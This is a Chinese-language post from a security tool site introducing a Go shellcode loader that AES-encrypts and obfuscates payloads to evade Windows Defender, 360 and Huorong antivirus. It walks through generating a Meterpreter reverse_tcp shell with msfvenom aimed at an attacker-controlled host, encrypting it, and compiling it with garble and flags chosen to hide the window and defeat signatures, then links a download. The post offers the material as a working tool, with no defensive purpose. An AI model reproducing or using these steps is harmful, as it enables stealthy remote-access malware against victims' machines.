标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-3146]   作者: 浩丶轩 发表于: [2022-07-22]

本文共 [221] 位读者顶过

一、工具介绍

GO混淆免杀shellcode加载器AES加密,混淆反检测 过DF、360和火绒。

二、安装与使用

1、获取项目

    git clone https://github.com/HZzz2/go-shellcode-loader.git[出自:jiwo.org]
    cd go-shellcode-loader
    //下条命令安装第三方混淆库  GitHub地址:https://github.com/burrowers/garble
    go install mvdan.cc/garble@latest    
2、生成shellcode并base64

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=9999 -f raw > rev.raw

    base64 -w 0 -i rev.raw > rev.bs64

    cat rev.bs64
3、复制到aes-sc.go中的51行替换payload

    运行aes-sc.go生成AES加密后的值

    go run aes-sc.go

    复制输出的值到go-sc.go中的73行替换payload
4、编译成exe可执行程序

    garble -tiny -literals -seed=random build -ldflags="-w -s -H windowsgui" -race go-sc.go
5、参数解释:

    garble(混淆库):
    -tiny                    删除额外信息                    
    -literals               混淆文字
    -seed=random   base64编码的随机种子 
    go:
    -w                        去掉调试信息,不能gdb调试了
    -s                         去掉符号表
    -H windowsgui    隐藏执行窗口,不占用 cmd 终端。(被查杀率高)
    -race                    使数据允许竞争检测,编译时改变了生成后的文件特征, 使得杀软无法检测,当然有一天也会失效的。
编译后得到go-sc.exe
6、检测图

火绒

360杀毒

360卫士

DF

virustotal

三、下载地址:

链接: https://pan.baidu.com/s/1YW5tWF3H5P-eiCdodASYUw?pwd=qw4t 提取码: qw4t 复制这段内容后打开百度网盘手机App,操作更方便哦

评论

暂无
发表评论
 返回顶部 
热度(221)
 关注微信